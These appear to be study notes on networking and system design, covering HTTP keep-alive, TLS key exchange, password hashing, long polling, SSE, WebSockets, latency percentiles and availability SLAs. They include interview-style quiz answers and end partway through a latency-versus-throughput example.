HTTP/1.0 (old): request -> response -> connection closes. New TCP per
request.
HTTP/1.1+ (default): request -> response -> SAME connection stays open.
Next request reuses same pipe immediately.
TCP connection = a pipe between client and server.
A response means: "I am done with this request/response pair."
The pipe is ready for the next request immediately.
Who closes it:
Server: idle timeout (no request for 60-120s)
"Connection: close" response header
Server restart / crash
Client: "Connection: close" request header
Client process exits
HTTP/2: connection is explicitly long-lived.
A single API client can send 50 req/s all on ONE TCP connection.
If HTTPS Encrypts Everything, Why Hash Passwords?
HTTPS encrypts the password in transit. Plain text over HTTPS is safe from network interception. But the wire is
only one of several places a password can be compromised. Hashing protects against the rest.
Where passwords get exposed -- and what protects against each:
1. In transit (network)
Threat: attacker intercepts the request
Protection: HTTPS. Plain text password is fine here.
Hashing: not needed for this threat.
2. In server logs
Threat: frameworks often log request bodies.
Plain text password in logs = readable by anyone with log access.
Protection: never log request bodies containing credentials.
Hashing: a logged hash is useless to an attacker.
3. In the database <-- this is the main reason
Threat: DB breach. Attacker downloads the full user table.
Plain text: every password instantly readable. Game over.
Users reuse passwords -- attacker logs into Gmail, banks, etc.
Hashed (bcrypt, argon2): attacker gets "$2b$12$xyz..." entries.
Must brute-force crack each one individually.
bcrypt cost factor 12: ~100ms per attempt on fast hardware.
Time to crack all passwords: effectively infeasible.
Users have time to be notified and change passwords.
4. In server memory
Threat: memory dumps, core dumps, swap files can expose RAM contents.
Plain text password lives in RAM during processing.
Hashing: hash immediately on receipt, discard plain text from memory.
5. From your own engineers
Threat: DB admin or engineer can SELECT * FROM users.
Plain text: every employee can read every user's password.
Hashed: even your own engineers cannot reverse a bcrypt hash.
This is a compliance requirement in most jurisdictions.
HTTPS protects the password on the wire (threat 1). Hashing protects it everywhere else: logs,
database breaches, memory exposure, and insider access. The threat model is broader than just
network interception. Both are needed. Neither replaces the other.
Who Encrypts in HTTPS? — Keys, Roles, What Gets Hidden
Both sides encrypt. Neither's long-term private key touches data. All data uses the AES session key (brown) —
derived independently by both sides via DH, never transmitted.
=== How the session key is created ===
# session_key = AES key. Same thing.
Client computes: session_key = DH(server_DH_public (green),
client_DH_private (red))
Server computes: session_key = DH(client_DH_public (orange),
server_DH_private (blue))
Both independently arrive at the same session_key (brown).
session_key NEVER travelled over the wire.
=== What is the server's private key actually used for? ===
Only during the TLS handshake -- NOT for data encryption.
Handshake: server's private key signs the DH parameters.
Client verifies: "yes, this is really that server."
Proves identity. That's it.
Data phase: server's private key is completely uninvolved.
session_key handles all encryption/decryption.
This is why Forward Secrecy works:
If attacker steals server's private key years later,
they still cannot decrypt past sessions.
The session_key was ephemeral -- derived via DH, never stored.
Without the session_key, ciphertext is unrecoverable.
What Exactly Does HTTPS Encrypt?
Everything after the handshake is encrypted. Not just the body — all of it. An observer on the network sees
almost nothing useful.
ENCRYPTED by HTTPS (attacker sees only ciphertext):
Request path
GET /api/orders/42
<- hidden
Query params
?status=pending
<- hidden
Request headers
Authorization: Bearer.. <- hidden
Cookies
session=abc123
<- hidden
Request body
{ "amount": 5000 }
<- hidden
Response body
{ "status": "ok" }
<- hidden
Response headers
Set-Cookie: ...
<- hidden
NOT encrypted (attacker can see):
Destination IP address
203.0.113.42
<- visible
Destination port
443
<- visible
SNI field in ClientHello "razorpay.com" <- visible
(SNI = Server Name Indication, sent before encryption
so server knows which certificate to present)
What this means:
Attacker knows you connected to razorpay.com.
Attacker does NOT know which endpoint, what you sent,
what you received, or any credentials in transit.
TLS 1.3 improvement: certificate is also encrypted.
In TLS 1.2: certificate sent in plaintext (attacker sees cert details).
In TLS 1.3: certificate sent encrypted (more privacy).
# Q: But I can see the path and headers in my browser's Network tab.
#
How is HTTPS hiding them from attackers?
# A: The Network tab runs INSIDE your browser, AFTER decryption.
#
You are the legitimate endpoint. Of course you see it.
#
The browser decrypted the response and shows you the plaintext.
# What YOU see in Network tab:
#
Full request path, headers, body, response -- all visible.
#
Because your browser IS the decryption endpoint.
# What a NETWORK ATTACKER between you and the server sees:
#
Your IP, server IP, port 443, SNI (domain name only).
#
Everything else = encrypted bytes. Meaningless without session key.
Who sees the full request:
Your browser
YES
Browser DevTools
YES
Server
YES
Proxy you configured YES
Your ISP
Coffee shop router
Man-in-the-middle
NO
NO
NO
(legitimate decryption endpoint)
(inside the browser)
(decrypts incoming requests)
(you routed traffic through it intentionally)
(sees encrypted bytes only)
(sees encrypted bytes only)
(no session key)
# HTTPS hides the path/headers/body from the NETWORK, not from you.
# You are supposed to see your own data.
# The attacker sitting on the network between you and the server cannot.
AES key = session_key = computed independently by both sides via DH
Same value on both sides. Never transmitted.
Client sending a request:
Actor: Client
Key:
AES session_key (client computed this itself during handshake)
Action: AES_encrypt(request_body, session_key) = ciphertext
ciphertext sent over wire
Server receiving:
Actor: Server
Key:
AES session_key (server computed the same key independently)
Action: AES_decrypt(ciphertext, session_key) = plaintext request
Server sending response:
Actor: Server
Key:
same AES session_key
Action: AES_encrypt(response_body, session_key) = ciphertext
ciphertext sent over wire
Client receiving:
Actor: Client
Key:
same AES session_key
Action: AES_decrypt(ciphertext, session_key) = plaintext response
Summary of which key does what:
Server private key
--> handshake only. Proves server identity.
Signs DH parameters. Never touches data.
Client private key
--> only if mTLS (mutual auth). Same role.
Never touches data.
AES session key
--> ALL data encryption. Both directions.
Belongs to nobody. Derived by both.
Ephemeral: discarded after session ends.
A new one is negotiated for every connection.
Why AES and not RSA/DH for data? Asymmetric crypto (RSA, DH) is ~1000x slower than AES. You use it once
during the handshake to securely agree on the AES key. Then you discard it for data and use AES, which can
encrypt gigabytes per second on modern hardware.
The handshake uses asymmetric crypto (slow, ~1-2 RTTs, used once). Data uses AES symmetric
crypto (fast, gigabytes per second, used for everything). The session key belongs to nobody -- jointly
derived, never transmitted, ephemeral. This is why stealing the server's private key does not let you
decrypt past sessions (forward secrecy).
Hashing vs Encryption — When to Use Which
Encryption: reversible. You get the original data back with a key.
Hashing:
irreversible. One-way. Cannot recover original. Ever.
Encrypt data you need to READ AGAIN.
Hash data you only need to VERIFY.
=== Symmetric Encryption (one shared key) ===
Same key encrypts AND decrypts.
Both sides must already have the key.
Fast. Used for bulk data.
Use cases:
1. HTTPS data transfer
AES session key encrypts every request/response after the handshake.
Client and server both derived the same key via DH.
Same key encrypts outgoing, decrypts incoming. Both directions.
2. Encrypting sensitive data at rest
Credit card numbers, bank account details stored in DB.
Encrypted with AES before writing. Decrypted with same key when
reading.
If DB is breached: attacker gets ciphertext, useless without the key.
=== Asymmetric Encryption (public + private key pair) ===
Two mathematically linked keys:
Public key: encrypts (or verifies). Share with anyone.
Private key: decrypts (or signs). Never leaves your machine.
Anyone can lock the box (encrypt with public key).
Only you can open it (decrypt with private key).
Use cases:
1. TLS handshake
Server's private key proves identity (signs DH parameters).
DH exchange uses key pairs to safely agree on the AES session key.
Problem solved: "how do we share a symmetric key safely?"
Answer: use asymmetric crypto to agree on it, then switch to symmetric.
2. JWT signing (RS256)
Auth server signs JWT with private key.
Any service verifies with public key (fetched from JWKS).
Cannot forge a JWT without the private key.
Many verifiers, only one signer.
=== How they work together in HTTPS ===
Step 1 -- Asymmetric (slow, used ONCE):
Client and server use public/private keys during TLS handshake.
Safely agree on a shared AES session key.
Step 2 -- Symmetric (fast, used for EVERYTHING after):
Both sides now have the same AES key.
All actual data encrypted with AES.
No more public/private keys involved.
Asymmetric: ~1000x slower than AES. Used once to solve the key-sharing
problem.
Symmetric: gigabytes per second. Used for all data.
=== One-liners ===
Encrypt data you need to read again.
Hash data you only need to verify.
Symmetric: one shared secret, both sides.
Fast. Data at rest and in
transit.
Asymmetric: public locks, private unlocks. Slow. Identity and key exchange.
Why passwords are hashed, not encrypted: you never need to recover the original password -- only
verify it. Hashing means even if the DB is breached, passwords cannot be recovered. Credit card
numbers are encrypted because Razorpay needs to read them again to process a payment.
Different requirement = different technique.
Long Polling
Client asks server: "Any updates?" Server holds the request open — does NOT respond immediately. The
moment an update exists, server responds. Client immediately sends a new request. Repeat forever.
=== Connection lifetime clarification (applies to all three techniques) ===
A response does NOT close the TCP connection.
HTTP/1.1+ keeps connections alive by default.
TCP handshake (1 RTT) + TLS handshake (1 RTT) paid ONCE per connection.
All subsequent requests on the same connection pay neither.
Connection closes only on:
- Server idle timeout (typically 60-120 seconds of inactivity)
- Explicit "Connection: close" header
- Server restart / network interruption
- Client explicitly closes it
TLS 1.3 session resumption (0-RTT PSK):
Even on reconnection, TLS cost = 0 if client has a session ticket.
════════════════════════════════════════════════════════════
Long Polling
Client asks server: "Any updates?"
Server holds the request open -- does NOT respond immediately.
The moment an update exists, server responds.
Client immediately sends a NEW HTTP REQUEST. Repeat forever.
Alice -> Bob: GET /order/status (request held open)
... 8 seconds pass ...
Bob -> Alice: {"status": "Preparing"} (update exists, respond now)
Alice -> Bob: GET /order/status (immediately re-asks)
... 4 seconds pass ...
Bob -> Alice: {"status": "Picked up"}
# Each cycle = new HTTP REQUEST, not new TCP connection.
# In HTTP/1.1+, the TCP connection is REUSED between requests.
# TCP handshake and TLS handshake are NOT repeated each cycle.
The actual costs of long polling:
1. HTTP header overhead per request cycle:
Every new request sends full HTTP headers again.
Authorization, cookies, content-type, user-agent...
~800 bytes of headers per cycle, even if nothing changed.
WebSocket: headers paid once at upgrade, then raw frames forever.
2. Server-side held connections:
Each client holds one open connection for 30 seconds waiting.
10,000 clients = 10,000 held connections doing nothing.
Each consuming memory and a file descriptor.
3. Latency gap between cycles:
Tiny gap between server responding and client re-asking.
An event in that gap is missed until next request arrives.
WebSocket/SSE: no gap. Connection always open.
4. New TCP+TLS only if connection actually dropped:
If server restarts, all held connections die.
Clients must reconnect: new TCP + TLS handshake.
In normal operation: TCP reused, no extra handshake cost.
Use when: legacy systems, corporate proxies that block WebSocket upgrades.
════════════════════════════════════════════════════════════
SSE — Server-Sent Events
Client opens ONE HTTP connection. Stays open.
Server streams updates down as they happen. Client never re-asks.
One direction only: server to client.
Alice -> Bob: GET /order/stream
Accept: text/event-stream
(one request, stays open forever)
Bob -> Alice: data: {"status":"Preparing"}\n\n
(pushed immediately)
... 3 mins later ...
Bob -> Alice: data: {"status":"Picked up"}\n\n
... 2 mins later ...
Bob -> Alice: data: {"status":"Delivered"}\n\n
(pushed immediately)
# One TCP connection. One TLS handshake. Server pushes forever.
# No repeated HTTP headers. No latency gap. No reconnection cost.
# HTTP-based: passes through all proxies and firewalls cleanly.
# Browser auto-reconnects if connection drops (built-in retry).
# HTTP/1.1: max 6 concurrent SSE connections per domain.
# Non-issue in HTTP/2 (multiplexed over one connection).
Use when: live feeds, order tracking, GitHub Actions logs,
ChatGPT token streaming, notifications.
════════════════════════════════════════════════════════════
WebSockets
Client and server upgrade an HTTP connection into a persistent,
full-duplex TCP pipe. Both sides send data at any time, either direction.
Alice -> Bob: GET /chat HTTP/1.1
Upgrade: websocket
Sec-WebSocket-Key: dGhlIHNhbXBsZQ==
Bob -> Alice: HTTP/1.1 101 Switching Protocols
Upgrade: websocket
--- connection is now a raw TCP pipe --Alice -> Bob: {"type":"message","text":"hello"}
(anytime)
Bob -> Alice: {"type":"message","text":"hi back"} (anytime)
Alice -> Bob: {"type":"typing","user":"alice"}
(anytime)
Bob -> Alice: {"status":"Picked up"}
(server pushes anytime)
# One TCP connection. One TLS handshake. Then raw frames.
# No HTTP headers per message after the upgrade.
# Lowest latency. Full bidirectional.
# Stateful: server must track every open connection in RAM.
Use when: chat, live collaboration, multiplayer games, trading.
Not needed when: server only pushes (use SSE). Client only asks (use REST).
–​
–​
–​
–​
HTTP-based: passes through all proxies, firewalls, load balancers cleanly.
Browser auto-reconnects if connection drops. Built-in retry logic.
HTTP/1.1 limit: max 6 concurrent SSE connections per domain. Non-issue in HTTP/2.
Use when: live feeds, order tracking, GitHub Actions logs, ChatGPT token streaming, notifications.
WebSockets Stateful Scaling — Deep Dive
What Stateful Means at Scale
When Alice opens a WebSocket connection, server RAM must hold:
Alice's TCP socket file descriptor
Alice's user_id
Alice's current room / channel
Alice's message buffer
Alice's last_seen timestamp
... for EVERY connected user simultaneously
~20-50KB RAM per connection minimum.
1,000,000 connections x 50KB = ~50GB RAM just for connection state.
Before processing a single message.
The Horizontal Scaling Problem
Alice connects -> LB routes to Server 1 (Alice's socket lives on S1)
Bob connects
-> LB routes to Server 2 (Bob's socket lives on S2)
Alice sends message to Bob:
S1 receives it.
S1 has no idea how to reach Bob. Bob's socket is on S2.
Delivery fails.
Sticky sessions (partial fix):
LB always routes Alice to S1.
S1 dies -> Alice's connection dies. Reconnection storm.
Uneven load distribution.
The Production Solution — Redis Pub/Sub
Architecture:
Alice ──> S1 ──> Redis pub/sub channel ──> S2 ──> Bob
Flow:
Alice sends message to Bob on S1.
S1 publishes to Redis channel: "message for user Bob"
Redis broadcasts to all servers subscribed to that channel.
S2 receives it -> finds Bob's socket -> delivers to Bob.
Every server subscribes to Redis channels.
Each server only delivers to connections it locally holds.
This is how Slack, WhatsApp Web, Discord work at scale.
Real-World Usage
System
Technique
Why
WhatsApp Web, Slack
WebSockets
Messages go both ways constantly
Swiggy/Zomato order tracking
SSE or WebSockets
Server pushes status updates
GitHub Actions logs
SSE
Server streams logs, client only reads
Zerodha, Groww (stock prices)
WebSockets
Price AND order both directions
ChatGPT response streaming
SSE
Server streams tokens, client reads only
Google Docs / Figma
WebSockets
Cursors + edits bidirectional
Topic 1.6 — Capstone: What Happens When You Type a URL and Press
Enter?
This question ties every topic of Chapter 1 together. Every step uses a concept from this chapter.
URL: https://payments.yourcompany.com/checkout
Actor: Alice, on her laptop, Starbucks WiFi.
# This capstone shows what happens on a FRESH connection (first visit).
# Returning visitor / same session: Steps 3 and 4 are skipped or reduced.
# See notes at end of each step.
STEP 1: Browser Parses the URL
Protocol: https -> use TLS, connect on port 443
Domain:
payments.yourcompany.com
Path:
/checkout
Browser checks: do I have this page cached locally? No. Proceed.
STEP 2: DNS Resolution [Topic 1.3]
Browser cache -> miss
OS cache
-> miss
Recursive Resolver (8.8.8.8) -> cache miss
Resolver -> Root NS -> "ask .com TLD"
Resolver -> TLD NS (.com, VeriSign) -> "ask ns1.yourcompany.com"
Resolver -> Authoritative NS -> "1.2.3.4, TTL=300"
Resolver caches. Returns 1.2.3.4 to browser.
Alice now has: payments.yourcompany.com = 1.2.3.4
# Returning visitor: DNS result likely cached. This step = 0 RTT.
STEP 3: TCP Connection [Topic 1.1]
Browser opens TCP to 1.2.3.4 port 443:
Alice -> Bob: SYN
Bob -> Alice: SYN-ACK
Alice -> Bob: ACK
Cost: 1 RTT. TCP connection established.
# FRESH connection only. Same session = TCP already open, skip this step.
# HTTP/1.1+ keeps connections alive. Idle timeout ~60-120s.
# Subsequent requests (/style.css, /app.js) reuse this connection.
STEP 4: TLS Handshake [Topic 1.4]
Alice -> Bob: ClientHello + Alice_DH_public (orange)
Bob -> Alice: ServerHello + Certificate + Bob_DH_public (green)
+ signature = RSA_sign(SHA256(green), Bob_private)
Alice verifies:
1. cert: CA signed it -> trust Bob_public
2. signature on green: RSA_verify(sig, Bob_public) -> hashes match ->
trust green
3. compute AES_key = DH(green, red) = brown. Never transmitted.
Alice -> Bob: Finished [encrypted]
Bob -> Alice: Finished [encrypted]
Cost: 1 RTT (TLS 1.3). Channel now fully encrypted.
# FRESH connection only.
# Returning visitor with TLS 1.3 session ticket (PSK):
#
Step 3 + Step 4 combined = 1 RTT (QUIC) or
#
0-RTT if PSK is valid (GET requests only -- replay attack risk for
POST).
TOTAL SO FAR (fresh): 2 RTTs of pure handshake overhead.
Not a single byte of actual HTTP request sent yet.
STEP 5: HTTP/2 Request [Topic 1.2]
Alice sends (encrypted with AES_key):
GET /checkout HTTP/2
Host: payments.yourcompany.com
Cookie: session=abc123
Cost: 1 more RTT. First byte of HTML arrives.
TOTAL (fresh): RTT 3 for first HTML byte.
TOTAL (returning, PSK): RTT 1 for first HTML byte.
STEP 6: Browser Renders, Discovers More Assets [Topic 1.2]
Browser parses HTML. Finds:
<link rel="stylesheet" href="/style.css">
<script src="/app.js"></script>
<img src="/logo.png">
HTTP/2: all three fetched in parallel on the SAME TCP connection.
No new TCP handshake. No new TLS handshake.
Why: TCP connection from Step 3 is still open.
TLS session from Step 4 is still active.
HTTP/2 multiplexes all three requests as streams on that one pipe.
STEP 7: Real-Time Updates via WebSocket [Topic 1.5]
Page loads. Checkout page needs live order status.
Alice -> Bob: GET /order/stream + Upgrade: websocket
Bob -> Alice: 101 Switching Protocols
--- TCP pipe now open --Bob -> Alice: {"status":"Payment confirmed"} (pushed)
Bob -> Alice: {"status":"Order placed"}
(pushed)
# WebSocket upgrade reuses the existing TCP+TLS connection.
# No new handshakes.
FULL CHAIN SUMMARY:
Fresh visit:
DNS -> TCP (RTT1) -> TLS (RTT2) -> HTTP GET (RTT3)
-> parallel assets (no extra RTT) -> WebSocket
Returning visit: DNS (cached) -> TCP (reused) -> TLS (PSK, 0-RTT)
-> HTTP GET (RTT1) -> parallel assets -> WebSocket
HTTP/3 + QUIC fresh:
1 RTT total (TCP+TLS combined)
HTTP/3 + QUIC resumed: 0-RTT (GET requests)
Chapter 1 — Quiz & Answers
Q: Your video calling app freezes every time a packet is lost. What protocol are you using and what
should you switch to? Why?
A: Using TCP. TCP sees a lost packet and holds all subsequent frames in a buffer until the lost one is
retransmitted and confirmed — even though a video frame from 3 seconds ago is completely
useless. The entire connection stalls waiting for stale data nobody needs. Should switch to QUIC
built on UDP. QUIC gives per-stream reliability so one lost packet only stalls that stream. Other
streams — and other video frames — continue unaffected. Also eliminates TCP handshake cost:
QUIC+TLS = 1 RTT vs TCP+TLS = 2 RTT. Zoom and Google Meet use QUIC/UDP for exactly this reason.
Why not raw UDP directly? UDP is just a transport — it delivers packets and nothing else. Raw UDP
has no ordering, no congestion control, no multiplexing, no encryption. For video calling you still
need all of those — just without TCP's head-of-line blocking. QUIC is UDP with exactly those things
built on top, implemented correctly. Using raw UDP for video calling means reimplementing QUIC
badly.
Q: A colleague says: "Let's use HTTP/2 — it solves all the problems HTTP/1.1 had." What would
you push back on?
A: HTTP/2 fixes application-layer HoL blocking — requests no longer block each other at the HTTP
level. But TCP-level HoL blocking survives. One lost TCP packet stalls ALL HTTP/2 streams because
TCP sees one byte stream and knows nothing about HTTP/2 streams. On lossy networks like mobile,
HTTP/2 can actually be slower than 6 parallel HTTP/1.1 connections because those 6 connections fail
independently. HTTP/3 on QUIC/UDP is the real fix — per-stream reliability at the transport layer
means one lost packet only affects one stream.
Q: Building Swiggy's live order tracking screen. Server pushes status updates. App never sends
anything back. Which technique: Long Polling, SSE, or WebSockets?
A: SSE. Server pushes only — SSE is purpose-built for exactly this. Long Polling: every update
requires a new HTTP request with full headers (~800 bytes) resent each cycle, plus thousands of
held connections on the server doing nothing — wasteful. The TCP connection is reused but a new
HTTP request is sent every poll cycle, which adds header overhead and a latency gap between
cycles. WebSockets: full bidirectional TCP pipe with stateful connections requiring Redis pub/sub to
scale — complete overkill when the client never sends back. SSE is HTTP-based so it passes through
all proxies cleanly, auto-reconnects on drop, and has zero extra infrastructure cost.
Q: YouTube shows a live subscriber count that updates in real time. Your colleague says
WebSockets. You say SSE. Who is right?
A: It depends on which YouTube screen you mean — and that distinction is the whole answer.
YouTube Studio analytics (the creator dashboard showing your own subscriber count) is read-only:
server pushes numbers, you never send anything back. SSE is the correct choice there — simpler,
lower overhead, purpose-built for server-push. WebSockets would be over-engineering. The live
stream viewer page is a completely different story: chat messages flow from viewers to the server,
Super Chats are sent, poll votes are cast, quality preferences are signalled, heartbeats are
exchanged. That page is bidirectional by nature and WebSockets is correct. Same product, different
screen, different protocol, different justification. In interviews: never answer SSE vs WebSockets
without first asking whether the client ever sends data back.
Q: You change your DNS A record from 1.2.3.4 to 5.6.7.8 at 9am. At 11am half your users still hit
the old server. Why? What should you have done 48 hours earlier?
A: Old IPs are cached in resolvers worldwide for their remaining TTL. A resolver that fetched the
record 23 hours ago will serve the old IP for 1 more hour. A resolver that fetched it 1 hour ago will
serve it for 23 more hours. Different users hit different resolvers — hence different versions of your
site. The fix: 48 hours before migration lower TTL to 60 seconds. Wait the full 48 hours for all existing
caches (which had 86400s TTL) to naturally expire. Then change the IP — it propagates globally in
~60 seconds. After confirmed stable, raise TTL back to 86400.
Why 48 hours and not 24? Mathematically, waiting one TTL duration (24 hours) should be enough. In practice, 48
hours is the conservative standard because: some ISPs and corporate resolvers do not strictly honour TTL values
and cache for 1.5-2x longer than instructed; server clock skew can add a few hours; and some resolvers have
internal minimum TTL floors. For well-behaved infrastructure (Route 53, Cloudflare, Google DNS), 24-26 hours is
genuinely sufficient. The 48-hour rule is a safe default when you cannot control or predict resolver behaviour
across enterprise networks worldwide.
Q: How many RTTs before the first byte of HTML arrives on a fresh connection with HTTP/2 + TLS
1.3?
A: Three RTTs total. RTT 1: TCP handshake (SYN / SYN-ACK / ACK). RTT 2: TLS 1.3 handshake
(ClientHello+KeyShare / ServerHello+Cert+Finished / Client Finished). RTT 3: HTTP GET /checkout
sent -> server processes -> first byte of HTML arrives. The 2 RTTs are pure overhead before any HTTP
request is even sent. On a repeat visit with HTTP/3 and QUIC 0-RTT, the request can go out with the
handshake itself — effectively 1 RTT total.
Chapter 2 — Latency, Throughput & SLAs
When an API is "slow" — what does that actually mean? And when leadership says "we need 99.99% availability"
— what does that actually cost? This chapter gives you the language and frameworks to answer both precisely.
Topic 2.1 — Latency
The Story
Your API's average response time is 120ms. Product manager is happy. You ship it. Three weeks
later, a senior engineer pulls up a graph: "Why are 1% of our users waiting 4 seconds for every
request? That's 50,000 people a day having a broken experience." You look at your monitoring.
Average still shows 120ms. Everything looks green. The average is lying to you. 50,000 users are
suffering and your metrics are hiding it completely. This is the most common monitoring failure in
production systems. And it is why P99 exists.
What is Latency
Latency = the time between sending a request and receiving the first byte of response. Simple definition. But
latency is not one number — it is a distribution. Every request takes a different amount of time depending on:
network conditions at that exact moment, server load, cache hit or miss, GC pause happening on the JVM, OS
scheduler context-switching at the wrong moment, whether a DB index was warm or cold.
Where Latency Comes From — Every Hop
Total request latency = sum of every component in the path:
DNS lookup (cached):
~1ms
DNS lookup (cold, full chain): ~100ms
TCP handshake:
TLS handshake (TLS 1.3):
Network transit:
Load balancer:
App server processing:
DB query (indexed):
DB query (no index):
Redis GET (same datacenter):
Redis miss -> DB:
JSON serialisation:
1 RTT
1 RTT
~0.1ms per 100km of fiber
~0.1-1ms
~1-1000ms (your code)
~1-5ms
~100ms - several seconds
~0.5ms
~5-100ms
~0.1-10ms
The Speed of Light Problem — A Real Constraint
Why this matters: when designing a system you should be able to mentally estimate latency before
building it. 5 sequential DB calls at ~5ms each = 25ms minimum in DB time alone — before
network, app logic, or serialisation.
Human Perception Thresholds
< 100ms
-> feels instant. User does not notice.
100-300ms -> noticeable but acceptable.
300ms-1s -> user notices lag. "It's a bit slow."
1s-3s
-> frustration begins. Engagement drops.
> 3s
-> user abandons. Conversion rate collapses.
Real targets:
Google search:
< 200ms
Amazon product page: < 100ms (100ms lag = 1% revenue drop)
Payment confirmation: < 2s (users doubt the transaction after 2s)
Video call frame:
< 150ms (conversation feels unnatural above this)
Topic 2.2 — Throughput vs Bandwidth
These are constantly confused. They are completely different things.
Bandwidth = maximum capacity of the pipe. The highway has 8 lanes — that is what it CAN carry.
Throughput = what actually flows through the pipe right now. 3 lanes in use at 2am — that is what it IS carrying.
Bandwidth
Throughput
= theoretical maximum
= actual current flow
Throughput <= Bandwidth. Always.
(pipe capacity)
(what is moving now)
In system terms:
Bandwidth: Your server NIC supports 10 Gbps
Throughput: Currently processing 2 Gbps of responses
Bandwidth: Your DB can handle 10,000 QPS
Throughput: Currently serving 3,200 QPS at this moment
RPS / QPS / TPS — Terms You'll Use Constantly
Term
Full Form
Used For
RPS
Requests Per Second
Web servers, APIs, load balancers
QPS
Queries Per Second
Databases, search engines, caches
TPS
Transactions Per Second
Payment systems, DBs with transactions
The Throughput-Latency Relationship
As throughput approaches the bandwidth limit, latency spikes non-linearly. The relationship is not linear — going
from 90% to 95% capacity can double or triple latency. This is queuing theory (Little's Law).
Highway analogy:
60% capacity -> traffic flows freely
80% capacity -> slight slowdown
90% capacity -> noticeable queuing
95% capacity -> near gridlock
100% capacity -> complete gridlock
30 min journey
45 min journey
90 min journey
3 hour journey
indefinite wait
Going 90% -> 95% does not add 5% latency.
It can DOUBLE or TRIPLE it.
Golden rule: design systems to run at maximum 70% utilisation. Keep 30% headroom for traffic
spikes, retry storms, noisy neighbours, and incident response without cascading failure.
Topic 2.3 — P99 / P95 / P50 — Why Averages Lie
The Lying Average
10 API requests. Response times in ms:
10, 11, 12, 10, 11, 13, 10, 12, 11, 980
Average = (10+11+12+10+11+13+10+12+11+980) / 10 = 107ms
Dashboard shows: 107ms. Green. Looks fine.
But one user waited 980ms.
The average buried it completely.
At 1 million requests per day:
P99 = 10,000 users having a terrible experience. Every single day.
You would never know from your average metric.
Percentiles — The Right Way to Measure
Sort all response times from fastest to slowest. Then slice:
P50 (median):
P75:
P90:
P95:
P99:
important
P99.9:
50% of requests finished in this time or less
75% of requests finished in this time or less
90% of requests finished in this time or less
95% of requests finished in this time or less
99% of requests finished in this time or less
<- most
99.9% finished -- for trading/payments only
For our 10 requests above:
P50 = 11ms
(half of users see this or better)
P90 = 13ms
(90% of users see this or better)
P99 = 980ms (the user you were hiding from yourself)
In interviews: always say P99, never average.
It signals seniority immediately.
Which Percentile to Monitor
Percentile
What it tells you
Use when
P50
Typical user experience
Baseline health check
P95
Most users' worst case
General production monitoring
P99
Long-tail problems before users
complain
Standard SLO target
P99.9
Extreme outliers
Trading platforms, payment processors
Tail Latency — Why P99 is Hard to Fix
P99 and P99.9 are called tail latencies. They are caused by rare but real events:
–​ JVM stop-the-world GC pause — fires every few minutes, spikes latency for all requests in flight
–​ OS context switch at wrong moment — random ~1ms spikes
–​
–​
–​
–​
Lock contention on DB connection pool — spikes under load
Cold cache miss cascading to slow DB query — spike on first request
TCP packet retransmit on network wobble — network-induced spike
Noisy neighbour on shared cloud VM — unpredictable, hardware-level
These are hard to eliminate because they are caused by the infrastructure itself, not your code.
The Fan-Out Amplification Problem
Critical for distributed systems interviews.
Your API calls 100 microservices in parallel.
Each service has P99 latency of 10ms -- excellent individually.
Probability ALL 100 finish within their P99:
0.99 ^ 100 = 0.366
Only 36.6% of your top-level requests complete within P99.
63.4% experience at least one slow downstream service.
The math is brutal. More services = worse tail latency.
Even if every individual service is fast.
Fix: Hedged Requests
Send same request to 2 servers simultaneously.
Use whichever responds first.
Cancel the slower one.
Cost:
~2x backend load on tail requests (small % of total)
Benefit: P99 drops dramatically
Used by: Google (BigTable), Amazon, Netflix on latency-critical paths
Lock in the name: Hedged Requests. Interviewers love it.
How Production Systems Measure Latency
Histogram buckets (Prometheus, Datadog, CloudWatch) — store counts per latency bucket, not averages:
Bucket [0-1ms]:
Bucket [1-5ms]:
Bucket [5-10ms]:
Bucket [10-50ms]:
Bucket [50-100ms]:
Bucket [100ms+]:
450,000 requests
380,000 requests
120,000 requests
40,000 requests
8,000 requests
2,000 requests
From histograms you compute any percentile accurately.
Storing a running average throws away all this shape information.
This is why averages are useless for latency analysis.
Topic 2.4 — Availability & The Nines
SLI, SLO, SLA — Three Different Things
Term
Full Form
Definition
Example
SLI
Service Level Indicator
The actual measured metric.
What you observe.
API success rate over last 30 days =
99.94%
SLO
Service Level Objective
Internal target for your SLI. What
you aim for.
Keep success rate above 99.9%
SLA
Service Level
Agreement
Contract with customers. Breach
= penalties.
Guarantee 99.9% uptime. Breach =
service credits.
SLO must always be stricter than SLA. You need internal headroom before breaching your customer
promise. SLA: 99.9% -> set SLO: 99.95%. This gives you buffer to catch and fix issues before your
customer contract is violated.
The Nines — What They Actually Mean
Availability
Downtime/yea
r
Downtime/mont
h
Downtime/we
ek
What it actually needs
90% (1 nine)
36.5 days
73.0 hours
16.8 hours
A decent server. Some
planned maintenance.
Basic monitoring.
99% (2 nines)
3.65 days
7.30 hours
1.68 hours
Redundant servers. LB.
Automated restarts.
99.9% (3 nines)
8.76 hours
43.8 minutes
10.1 minutes
Multi-AZ. Load balancer.
On-call rotation.
Zero-downtime deploys.
99.99%(4 nines)
52.6 minutes
4.38 minutes
1.01 minutes
Multi-region
active-active.
Automated failover. Full
SRE team.
99.999%(5 nines)
5.26 minutes
26.3 seconds
6.05 seconds
Extremely rare. Every
component redundant
including redundancy.
The Diminishing Returns Reality
99%
-> 99.9%:
99.9% -> 99.99%:
99.99% -> 99.999%:
saves 3.6 days downtime/year
saves 8.5 hours/year
saves 47 minutes/year
cost: moderate
cost: 10x more
cost: 10x more again
99.999% costs ~100x more than 99.9%.
It saves 47 minutes of downtime per year.
Most systems genuinely do not need it.
Honest interview answer:
"Before I design for 99.999%, I want to understand:
what is the actual business cost of one minute of downtime?
Because if the answer is less than the engineering cost
of achieving five nines, we are over-engineering."
Error Budget — The SRE Concept
Error budget = 100% - SLO. Your allowed downtime per month.
SLO = 99.9%
Error budget = 0.1% of time per month
= 0.001 x 43,800 minutes
= 43.8 minutes per month
This budget covers:
Planned maintenance windows
Failed deployments that caused downtime
Production incidents
Risky experiments
Budget remaining?
-> Ship features. Move fast. Take risks.
Budget nearly gone? -> Slow down. More testing. Careful deploys.
Budget exhausted?
-> FREEZE all releases.
Engineering switches to reliability work only.
No new features until next month's budget resets.
This converts reliability from a technical debate into
a business conversation with a concrete number.
Topic 2.5 — Latency vs Throughput Trade-off
The core tension in almost every system design decision. They pull against each other.
Rule:
Optimise for latency
--> process immediately
--> throughput suffers
Optimise for throughput --> batch work together
--> latency suffers
Example: writing logs to disk
Option A -- write immediately (low latency):
Each write: 5ms (disk seek + write + confirm)
Latency:
5ms per write
Throughput: 1000ms / 5ms = 200 writes/sec
